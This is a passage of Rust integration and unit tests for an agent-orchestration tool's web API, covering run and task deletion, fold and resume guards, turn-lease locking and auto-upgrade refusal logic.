17822 q.put(&mut t3).expect("put t3");
17823 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
17824 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
17825 assert_eq!(res.status, 204);
17826 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
17827 assert!(
17828 q.claim(&t3.id).is_ok(),
17829 "the stale lock went with it, so the id is claimable again"
17830 );
17831
17832 let res = fx.delete("/api/queue/nonexistent").await;
17834 assert_eq!(res.status, 404);
17835 }
17836
17837 #[tokio::test]
17838 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
17839 let fx = Fixture::start().await;
17840 let runs = fx.runs();
17841
17842 let run_id = "20260901-000000-fold";
17844 let mut state = RunState::new(
17845 PathBuf::from("/repo"),
17846 "main".to_owned(),
17847 "abc".to_owned(),
17848 "instruction".to_owned(),
17849 Config::default(),
17850 );
17851 state.id = run_id.to_owned();
17852 state.status = RunStatus::Merged;
17853 state.candidates.push(crate::run::Candidate {
17854 index: 0,
17855 label: 'A',
17856 agent: "a".to_owned(),
17857 branch: "b".to_owned(),
17858 worktree: PathBuf::from("/w"),
17859 summary: String::new(),
17860 stat: String::new(),
17861 files: 1,
17862 commits: 1,
17863 empty: false,
17864 failed: None,
17865 verified_noop: None,
17866 duration_ms: 0,
17867 folded: true,
17868 });
17869 let dir = runs.join(run_id);
17870 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
17871 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
17872 .expect("write artifact");
17873 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
17874 .expect("write run.json");
17875
17876 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
17878 assert_eq!(res.status, 204);
17879 assert!(res.body.is_empty(), "204 has no body");
17880 assert!(!dir.exists(), "run directory and artifacts must be deleted");
17881
17882 let run_running = "20260901-000000-rung";
17887 write_run(&runs, run_running, RunStatus::Prep);
17888 let mut beat = crate::daemon::Status::new();
17889 beat.current = vec![crate::daemon::Current {
17890 task: "20260901-000000-task".to_owned(),
17891 run: run_running.to_owned(),
17892 }];
17893 beat.updated_at = jiff::Timestamp::now();
17894 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17895 .expect("publish a heartbeat");
17896 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
17897 assert_eq!(res.status, 409);
17898 assert!(
17899 res.json()["error"]
17900 .as_str()
17901 .unwrap()
17902 .contains("live daemon"),
17903 "the refusal must say who is holding it"
17904 );
17905 assert!(
17906 runs.join(run_running).exists(),
17907 "a run in flight keeps its directory"
17908 );
17909
17910 let run_unfolded = "20260901-000000-unfd";
17912 let mut state2 = RunState::new(
17913 PathBuf::from("/repo"),
17914 "main".to_owned(),
17915 "abc".to_owned(),
17916 "instruction".to_owned(),
17917 Config::default(),
17918 );
17919 state2.id = run_unfolded.to_owned();
17920 state2.status = RunStatus::Ready;
17921 state2.candidates.push(crate::run::Candidate {
17922 index: 0,
17923 label: 'A',
17924 agent: "a".to_owned(),
17925 branch: "b".to_owned(),
17926 worktree: PathBuf::from("/w"),
17927 summary: String::new(),
17928 stat: String::new(),
17929 files: 1,
17930 commits: 1,
17931 empty: false,
17932 failed: None,
17933 verified_noop: None,
17934 duration_ms: 0,
17935 folded: false,
17936 });
17937 let dir2 = runs.join(run_unfolded);
17938 std::fs::create_dir_all(&dir2).expect("create dir2");
17939 std::fs::write(
17940 dir2.join("run.json"),
17941 serde_json::to_string(&state2).unwrap(),
17942 )
17943 .expect("write run.json");
17944
17945 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
17946 assert_eq!(res.status, 409);
17947 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
17948 assert!(dir2.exists(), "unfolded run directory is kept");
17949
17950 let res = fx.delete("/api/runs/nonexistent").await;
17952 assert_eq!(res.status, 404);
17953 }
17954
17955 #[test]
17964 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
17965 let start = APP_JS
17966 .find("function renderStats() {")
17967 .expect("renderStats");
17968 let end = start
17969 + APP_JS[start..]
17970 .find("function statsTile(")
17971 .expect("the next top-level function");
17972 let body = &APP_JS[start..end];
17973
17974 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
17975 let gate_end = gate_start
17976 + body[gate_start..]
17977 .find("}\n renderStatsQueue")
17978 .expect("the gate's own closing brace, right before the unconditional call");
17979 let gated = &body[gate_start..gate_end];
17980
17981 assert_eq!(
17982 body.matches("renderStatsQueue(").count(),
17983 1,
17984 "renderStats must call renderStatsQueue exactly once: {body}"
17985 );
17986 assert!(
17987 !gated.contains("renderStatsQueue"),
17988 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
17989 run-derived panels on an empty run history - the queue panel has to render \
17990 regardless: {gated}"
17991 );
17992 }
17993
17994 #[test]
17995 fn web_ui_delete_contract_in_front_end() {
17996 assert!(APP_JS.contains("deleteRun:"));
17998 assert!(APP_JS.contains("deleteTask:"));
17999
18000 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18002 ..APP_JS.find("function renderRuns").unwrap()];
18003 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18004
18005 assert!(APP_JS.contains("renderRunDelete"));
18007 assert!(APP_JS.contains("runDeleteReason"));
18008 assert!(APP_JS.contains("magi fold"));
18009 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18010
18011 assert!(APP_JS.contains("cancel.focus"));
18013 assert!(APP_JS.contains("armedRunDelete"));
18014 assert!(APP_JS.contains("renderTaskDeleteBox"));
18015 assert!(APP_JS.contains("armed${cap(key)}"));
18016
18017 assert!(APP_JS.contains("disabled: status === \"running\""));
18019 }
18020
18021 #[test]
18041 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18042 let build = APP_JS
18043 .find("function createRunCard")
18044 .expect("createRunCard exists");
18045 let update = APP_JS
18046 .find("function updateRunCard")
18047 .expect("updateRunCard exists");
18048 let end = APP_JS
18049 .find("function renderRuns")
18050 .expect("renderRuns exists");
18051
18052 let builder = &APP_JS[build..update];
18054 let open = builder.find("refs = {").expect("createRunCard sets refs");
18055 let literal = &builder[open + "refs = {".len()..];
18056 let close = literal.find('}').expect("the refs literal is closed");
18057 let published: HashSet<&str> = literal[..close]
18058 .split(',')
18059 .filter_map(|entry| entry.split(':').next())
18061 .map(str::trim)
18062 .filter(|name| !name.is_empty())
18063 .collect();
18064 assert!(
18065 published.len() > 5,
18066 "the refs literal did not parse into names: {published:?}"
18067 );
18068
18069 let mut used: Vec<&str> = Vec::new();
18072 let updaters = &APP_JS[update..end];
18073 for (at, _) in updaters.match_indices("r.") {
18074 let before = updaters[..at].chars().next_back();
18077 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18078 continue;
18079 }
18080 let rest = &updaters[at + 2..];
18081 let len = rest
18082 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18083 .unwrap_or(rest.len());
18084 if len > 0 {
18085 used.push(&rest[..len]);
18086 }
18087 }
18088 assert!(
18089 used.len() > 5,
18090 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18091 );
18092
18093 let missing: Vec<&str> = used
18094 .iter()
18095 .copied()
18096 .filter(|name| !published.contains(name))
18097 .collect();
18098 assert!(
18099 missing.is_empty(),
18100 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18101 never put in `refs` - every card will throw and the list will \
18102 render empty under a count line that says otherwise. Published: \
18103 {published:?}"
18104 );
18105 }
18106
18107 #[tokio::test]
18108 async fn folding_from_the_phone_reports_what_it_removed() {
18109 let fx = Fixture::start().await;
18110 let runs = fx.runs();
18111
18112 let id = "20260901-000000-fold";
18116 write_run(&runs, id, RunStatus::Stalled);
18117 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18118 assert_eq!(res.status, 200);
18119 assert_eq!(res.json()["removed_count"], 0);
18120 assert_eq!(res.json()["run"], id);
18121 assert!(
18122 runs.join(id).exists(),
18123 "a fold keeps the run's record; only the worktrees go"
18124 );
18125 }
18126
18127 #[tokio::test]
18128 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18129 let fx = Fixture::start().await;
18130 let runs = fx.runs();
18131 let wt = fx.home.path().join("wt").join("magi").join("dead");
18132 let id = "20260901-000000-dead";
18133 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18134 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18135 std::fs::create_dir_all(&wt).expect("worktree dir");
18136
18137 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18138 assert_eq!(res.status, 200, "{}", res.body);
18139 assert!(
18140 res.json()["removed_count"].as_u64().unwrap() > 0,
18141 "the worktree this build could not read a state for still went"
18142 );
18143 assert!(
18144 !runs.join(id).exists(),
18145 "an unreadable run has no candidate list to fold selectively, so \
18146 the whole record goes - same as `magi fold` on the CLI"
18147 );
18148 }
18149
18150 #[tokio::test]
18151 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18152 let fx = Fixture::start().await;
18153 let runs = fx.runs();
18154 let wt = fx.home.path().join("wt").join("magi").join("gone");
18155 let id = "20260901-000000-gone";
18156 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18157 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18158 std::fs::create_dir_all(&wt).expect("worktree dir");
18159
18160 let res = fx.delete(&format!("/api/runs/{id}")).await;
18161 assert_eq!(res.status, 204, "{}", res.body);
18162 assert!(!runs.join(id).exists(), "the broken record is gone");
18163 assert!(!wt.exists(), "its worktree is gone too");
18164 }
18165
18166 #[tokio::test]
18167 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18168 let fx = Fixture::start().await;
18169 let runs = fx.runs();
18170 let id = "20260901-000000-live";
18171 write_run(&runs, id, RunStatus::Implementing);
18172
18173 let mut beat = crate::daemon::Status::new();
18174 beat.current = vec![crate::daemon::Current {
18175 task: "20260901-000000-task".to_owned(),
18176 run: id.to_owned(),
18177 }];
18178 beat.updated_at = jiff::Timestamp::now();
18179 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18180 .expect("publish a heartbeat");
18181
18182 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18183 assert_eq!(res.status, 409);
18184 assert!(
18185 res.json()["error"]
18186 .as_str()
18187 .unwrap()
18188 .contains("live daemon"),
18189 "folding under a running agent would pull its worktree away"
18190 );
18191 }
18192
18193 #[tokio::test]
18194 async fn fold_merged_requires_a_pr_url() {
18195 let fx = Fixture::start().await;
18196 let runs = fx.runs();
18197 let id = "20260901-000000-nourl";
18198 write_run(&runs, id, RunStatus::Blocked);
18199
18200 let res = fx
18201 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
18202 .await;
18203 assert_eq!(res.status, 400, "{}", res.body);
18204
18205 let blank = fx
18206 .post(
18207 &format!("/api/runs/{id}/fold-merged"),
18208 Some(r#"{"pr_url":" "}"#),
18209 )
18210 .await;
18211 assert_eq!(blank.status, 400, "{}", blank.body);
18212 }
18213
18214 #[tokio::test]
18215 async fn fold_merged_is_404_for_an_unknown_run() {
18216 let fx = Fixture::start().await;
18217 let res = fx
18218 .post(
18219 "/api/runs/nosuchrun/fold-merged",
18220 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18221 )
18222 .await;
18223 assert_eq!(res.status, 404, "{}", res.body);
18224 }
18225
18226 #[tokio::test]
18227 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
18228 let fx = Fixture::start().await;
18229 let runs = fx.runs();
18230 let id = "20260901-000000-livemerge";
18231 write_run(&runs, id, RunStatus::Blocked);
18232
18233 let mut beat = crate::daemon::Status::new();
18234 beat.current = vec![crate::daemon::Current {
18235 task: "20260901-000000-task".to_owned(),
18236 run: id.to_owned(),
18237 }];
18238 beat.updated_at = jiff::Timestamp::now();
18239 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18240 .expect("publish a heartbeat");
18241
18242 let res = fx
18243 .post(
18244 &format!("/api/runs/{id}/fold-merged"),
18245 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18246 )
18247 .await;
18248 assert_eq!(res.status, 409, "{}", res.body);
18249 assert!(
18250 res.json()["error"]
18251 .as_str()
18252 .unwrap()
18253 .contains("live daemon"),
18254 "correcting a run's merge underneath a running agent would race \
18255 whatever it is doing to the same `status`/`merge` fields"
18256 );
18257 }
18258
18259 #[tokio::test]
18264 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
18265 let fx = Fixture::start().await;
18266 let runs = fx.runs();
18267 let id = "20260901-000000-unconfirmed";
18268 write_run(&runs, id, RunStatus::Blocked);
18269
18270 let res = fx
18271 .post(
18272 &format!("/api/runs/{id}/fold-merged"),
18273 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18274 )
18275 .await;
18276 assert_eq!(res.status, 400, "{}", res.body);
18277 assert_eq!(
18278 read_run(&runs, id).unwrap().status,
18279 RunStatus::Blocked,
18280 "a pull request that could not be confirmed merged must leave \
18281 the run exactly where it was"
18282 );
18283 }
18284
18285 #[tokio::test]
18286 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
18287 let fx = Fixture::start().await;
18288 let runs = fx.runs();
18289
18290 for (status, word) in [
18296 (RunStatus::Merged, "merged"),
18297 (RunStatus::Ready, "ready"),
18298 (RunStatus::Failed, "failed"),
18299 ] {
18300 let id = format!("20260901-000000-{}", &word[..4]);
18301 write_run(&runs, &id, status);
18302 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
18303 assert_eq!(res.status, 409, "{word} must not be resumable");
18304 let err = res.json()["error"].as_str().unwrap().to_owned();
18305 assert!(err.contains(word), "the refusal names the status: {err}");
18306 }
18307
18308 let mid = "20260901-000000-midf";
18313 write_run(&runs, mid, RunStatus::Reviewing);
18314 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18315 assert_eq!(res.status, 202, "an interrupted run is resumable");
18316 }
18317
18318 #[tokio::test]
18319 async fn resume_is_refused_while_the_loop_is_running() {
18320 let fx = Fixture::start().await;
18321 let runs = fx.runs();
18322 let stalled = "20260901-000000-stal";
18323 write_run(&runs, stalled, RunStatus::Stalled);
18324
18325 let mut beat = crate::daemon::Status::new();
18329 beat.current = vec![crate::daemon::Current {
18330 task: "20260901-000000-task".to_owned(),
18331 run: "20260901-000000-othr".to_owned(),
18332 }];
18333 beat.updated_at = jiff::Timestamp::now();
18334 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18335 .expect("publish a heartbeat");
18336
18337 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18338 assert_eq!(res.status, 409);
18339 let err = res.json()["error"].as_str().unwrap().to_owned();
18340 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18341 assert!(err.contains("stop it first"), "{err}");
18342 }
18343
18344 #[test]
18345 fn a_run_cannot_be_resumed_twice_at_once() {
18346 let home = TempDir::new().expect("temp home");
18347 let ui = Ui::new(
18348 Queue::at(home.path().join("queue")),
18349 Questions::at(home.path().join("questions")),
18350 Talks::at(home.path().join("talks")),
18351 home.path().join("runs"),
18352 home.path().to_path_buf(),
18353 PathBuf::from("/repo"),
18354 )
18355 .with_worktrees_root(home.path().join("wt"));
18356 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18357 let again = ui.begin_resume("20260901-000000-once");
18358 assert!(again.is_err(), "a second tap must not start a second graph");
18359 drop(first);
18360 assert!(
18361 ui.begin_resume("20260901-000000-once").is_ok(),
18362 "and the claim is released when the attempt ends"
18363 );
18364 }
18365
18366 #[test]
18367 fn talk_thinking_tracks_only_its_held_turn_claim() {
18368 let home = TempDir::new().expect("temp home");
18369 let ui = Ui::new(
18370 Queue::at(home.path().join("queue")),
18371 Questions::at(home.path().join("questions")),
18372 Talks::at(home.path().join("talks")),
18373 home.path().join("runs"),
18374 home.path().to_path_buf(),
18375 PathBuf::from("/repo"),
18376 )
18377 .with_worktrees_root(home.path().join("wt"));
18378 let id = "20260901-000000-once";
18379
18380 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18381 let turn = ui.begin_talk_turn(id).expect("claim turn");
18382 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18383 assert!(
18384 !ui.is_thinking("20260901-000000-other"),
18385 "one talk's turn does not make another talk busy"
18386 );
18387 drop(turn);
18388 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18389 }
18390
18391 #[test]
18392 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18393 let home = TempDir::new().expect("temp home");
18394 let talks = Talks::at(home.path().join("talks"));
18395 let ui = Ui::new(
18396 Queue::at(home.path().join("queue")),
18397 Questions::at(home.path().join("questions")),
18398 talks.clone(),
18399 home.path().join("runs"),
18400 home.path().to_path_buf(),
18401 PathBuf::from("/repo"),
18402 )
18403 .with_worktrees_root(home.path().join("wt"));
18404 let id = "20260901-000000-cross";
18405
18406 let other = Talks::at(home.path().join("talks"))
18407 .claim_turn(id)
18408 .expect("claim")
18409 .expect("the other process wins");
18410 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18411 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18412 assert!(
18413 matches!(
18414 ui.begin_talk_turn_unless_pending(id).expect("start"),
18415 TalkTurnStart::Foreign
18416 ),
18417 "a foreign holder is refused, not queued behind"
18418 );
18419 assert!(
18420 !ui.talk_turns.lock().unwrap().live.contains(id),
18421 "a refused claim leaves no in-process entry behind"
18422 );
18423 drop(other);
18424 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18425 assert!(talks.turn_held(id), "the web turn holds the lease");
18426 drop(turn);
18427 assert!(
18428 !talks.turn_held(id),
18429 "dropping the guard releases the lease"
18430 );
18431 }
18432
18433 fn consult_question(ui: &Ui) -> Question {
18434 let mut q = Question::new(
18435 "20260901-000000-consult".to_owned(),
18436 "implement".to_owned(),
18437 "impl-A".to_owned(),
18438 "Which backend?".to_owned(),
18439 String::new(),
18440 vec!["SQLite".to_owned(), "Redis".to_owned()],
18441 );
18442 ui.questions.put(&mut q).expect("question");
18443 q
18444 }
18445
18446 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18447 (
18448 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18449 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18450 )
18451 }
18452
18453 #[tokio::test]
18454 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18455 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18456 let q = consult_question(&ui);
18457 let talk = ui.talks.get(&id).expect("talk");
18458 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18459 let before = consult_snapshot(&ui, &q, &id);
18460 let cli_talks = Talks::at(ui.home.join("talks"));
18461 assert_eq!(
18462 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18463 .await
18464 .expect("CLI starter"),
18465 crate::consult::Started::Busy
18466 );
18467 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18468 assert!(ui.is_thinking(&id));
18469 drop(guard);
18470 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18471 }
18472
18473 #[tokio::test]
18474 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18475 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18476 let q = consult_question(&ui);
18477 let talk = ui.talks.get(&id).expect("talk");
18478 let started = tmp.path().join("started");
18479 let release = tmp.path().join("release");
18480 let script = tmp.path().join("consult-agent.sh");
18481 std::fs::write(
18482 &script,
18483 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18484 )
18485 .expect("script");
18486 let mut cfg = stub_config();
18487 cfg.agents[0].id = "mock".to_owned();
18488 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18489 cfg.agents[0].env = std::collections::BTreeMap::from([
18490 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18491 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18492 ]);
18493 let questions = ui.questions.clone();
18494 let cli_talks = Talks::at(ui.home.join("talks"));
18495 let cli_q = q.clone();
18496 let turn = tokio::spawn(async move {
18497 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18498 });
18499 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18500 while !started.exists() {
18501 tokio::time::sleep(Duration::from_millis(10)).await;
18502 }
18503 })
18504 .await;
18505 let refusal = if ready.is_ok() {
18508 let before = consult_snapshot(&ui, &q, &id);
18509 let result = talk_say(
18510 State(Arc::clone(&ui)),
18511 Path(id.clone()),
18512 Ok(Json(NewTalkTurn {
18513 reply_to: None,
18514 text: "another message".to_owned(),
18515 attachments: Vec::new(),
18516 })),
18517 )
18518 .await;
18519 Some((result, before, consult_snapshot(&ui, &q, &id)))
18520 } else {
18521 None
18522 };
18523 std::fs::write(&release, "").expect("release agent");
18524 let done = turn.await.expect("join CLI turn");
18525 ready.expect("agent started before deadline");
18526 let (result, before, after) = refusal.expect("web request");
18527 let error = result.expect_err("web must refuse the CLI's turn");
18528 assert_eq!(error.status, StatusCode::CONFLICT);
18529 assert!(error.message.contains("a turn is already running"));
18530 assert_eq!(
18531 after, before,
18532 "refusal preserves question, draft and history"
18533 );
18534 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18535 let guard = ui
18536 .begin_talk_turn(&id)
18537 .expect("web claim")
18538 .expect("free again");
18539 drop(guard);
18540 }
18541
18542 #[test]
18543 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18544 let home = TempDir::new().expect("temp home");
18545 let talks = Talks::at(home.path().join("talks"));
18546 let ui = Ui::new(
18547 Queue::at(home.path().join("queue")),
18548 Questions::at(home.path().join("questions")),
18549 talks.clone(),
18550 home.path().join("runs"),
18551 home.path().to_path_buf(),
18552 PathBuf::from("/repo"),
18553 )
18554 .with_worktrees_root(home.path().join("wt"));
18555 let id = "20260901-000000-order";
18556 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18557 let slots = ui.talk_turns.lock().unwrap();
18559 let dropper = std::thread::spawn(move || drop(turn));
18560 let start = std::time::Instant::now();
18561 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18562 std::thread::sleep(Duration::from_millis(5));
18563 }
18564 assert!(!talks.turn_held(id), "the lease is released first");
18565 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18566 drop(slots);
18567 dropper.join().expect("join");
18568 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18569 }
18570
18571 #[tokio::test]
18572 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18573 let fx = Fixture::start().await;
18574 let mut beat = crate::daemon::Status::new();
18578 beat.pid = 4321;
18579 beat.updated_at = jiff::Timestamp::now();
18580 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18581 .expect("publish a heartbeat");
18582
18583 let res = fx.post("/api/upgrade", None).await;
18584 assert_eq!(res.status, 409);
18585 let err = res.json()["error"].as_str().unwrap().to_owned();
18586 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18587 assert!(err.contains("old one against the same queue"), "{err}");
18588 }
18589
18590 #[test]
18597 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18598 assert!(!should_spawn_recheck(&crate::config::Update {
18599 mode: UpdateMode::Off,
18600 interval: None,
18601 }));
18602
18603 unsafe {
18606 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18607 }
18608 let killed = should_spawn_recheck(&crate::config::Update {
18609 mode: UpdateMode::Notify,
18610 interval: None,
18611 });
18612 unsafe {
18613 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18614 }
18615 assert!(
18616 !killed,
18617 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18618 one-time startup check"
18619 );
18620
18621 assert!(should_spawn_recheck(&crate::config::Update {
18622 mode: UpdateMode::Notify,
18623 interval: None,
18624 }));
18625 }
18626
18627 #[test]
18633 fn recheck_poll_period_tracks_a_short_configured_interval() {
18634 let short = crate::config::Update {
18635 mode: UpdateMode::Notify,
18636 interval: Some("1m".to_owned()),
18637 };
18638 let period = recheck_poll_period(&short);
18639 assert!(
18640 period <= Duration::from_secs(30),
18641 "a one-minute interval must wake the task far sooner than the \
18642 default ceiling, or the deck would not notice within the \
18643 interval the operator configured: got {period:?}"
18644 );
18645
18646 let default = crate::config::Update {
18647 mode: UpdateMode::Notify,
18648 interval: None,
18649 };
18650 assert_eq!(
18651 recheck_poll_period(&default),
18652 UPDATE_RECHECK_POLL_MAX,
18653 "the default day-long interval should poll at the (capped) \
18654 ceiling rather than needlessly often"
18655 );
18656 }
18657
18658 #[test]
18666 fn recheck_skips_the_network_before_the_interval_elapses() {
18667 let dir = TempDir::new().expect("temp dir");
18668 let path = dir.path().join("state.json");
18669 let state = kaishin::UpdateCheckState {
18670 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
18671 last_known_latest: None,
18672 last_known_url: None,
18673 };
18674 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
18675
18676 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
18677 assert!(
18678 !update_recheck_due(&checker, None),
18679 "a check made moments ago must not be repeated before the \
18680 configured interval elapses"
18681 );
18682 }
18683
18684 #[test]
18690 fn recheck_defers_to_an_upgrade_already_in_flight() {
18691 let dir = TempDir::new().expect("temp dir");
18692 let path = dir.path().join("state.json");
18693 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
18694 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
18695
18696 assert!(
18697 !update_recheck_due(&checker, Some(&progress)),
18698 "a recheck must not run while an upgrade this deck started is \
18699 still moving"
18700 );
18701 }
18702
18703 #[tokio::test]
18704 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
18705 unsafe {
18717 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18718 }
18719 let fx = Fixture::start().await;
18720 let res = fx.post("/api/upgrade", None).await;
18721 unsafe {
18722 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18723 }
18724 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18725 let body = res.json();
18726 assert!(body["to"].is_null(), "there was no release to move to");
18727 assert!(body["parked"].is_null(), "and nothing was parked");
18728 assert!(
18729 body["detail"]
18730 .as_str()
18731 .unwrap()
18732 .contains("disabled by MAGI_NO_AUTOUPDATE"),
18733 "{body:?}"
18734 );
18735 }
18736
18737 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
18738 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
18739 p.stage = stage;
18740 p
18741 }
18742
18743 #[test]
18744 fn busy_stages_match_the_ui_set() {
18745 use crate::updater::Stage;
18746 assert!(APP_JS.contains(
18747 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
18748 ));
18749 for s in [
18750 Stage::Downloading,
18751 Stage::Replaced,
18752 Stage::Parking,
18753 Stage::Restarting,
18754 ] {
18755 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
18756 }
18757 for s in [Stage::Done, Stage::Failed] {
18758 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
18759 }
18760 assert!(upgrade_in_motion(None).is_none());
18761 }
18762
18763 #[tokio::test]
18764 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
18765 use crate::updater::Stage;
18766 for stage in [
18767 Stage::Downloading,
18768 Stage::Replaced,
18769 Stage::Parking,
18770 Stage::Restarting,
18771 ] {
18772 let fx = Fixture::start().await;
18773 let seeded = seeded_progress(stage);
18774 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
18775 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18776 .expect("read");
18777
18778 let res = fx.post("/api/upgrade", None).await;
18779 assert_eq!(res.status, 409, "{stage:?}");
18780 let err = res.json()["error"].as_str().unwrap().to_owned();
18781 assert!(err.contains("already in progress"), "{err}");
18782 assert!(err.contains(stage.as_str()), "{err}");
18783
18784 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18785 .expect("read");
18786 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
18787 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
18788 .unwrap_or_default();
18789 assert!(!log.contains("signalling HANDOVER"), "{log}");
18790 }
18791 }
18792
18793 #[tokio::test]
18794 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
18795 use crate::updater::Stage;
18796 let repo = TempDir::new().expect("repo dir");
18797 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18798 .expect("write magi.toml");
18799 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18800 for stage in [Stage::Done, Stage::Failed] {
18801 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
18802 let res = fx.post("/api/upgrade", None).await;
18803 assert_eq!(res.status, 200, "{stage:?}");
18804 }
18805 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
18807 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
18808 }
18809
18810 #[tokio::test]
18811 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
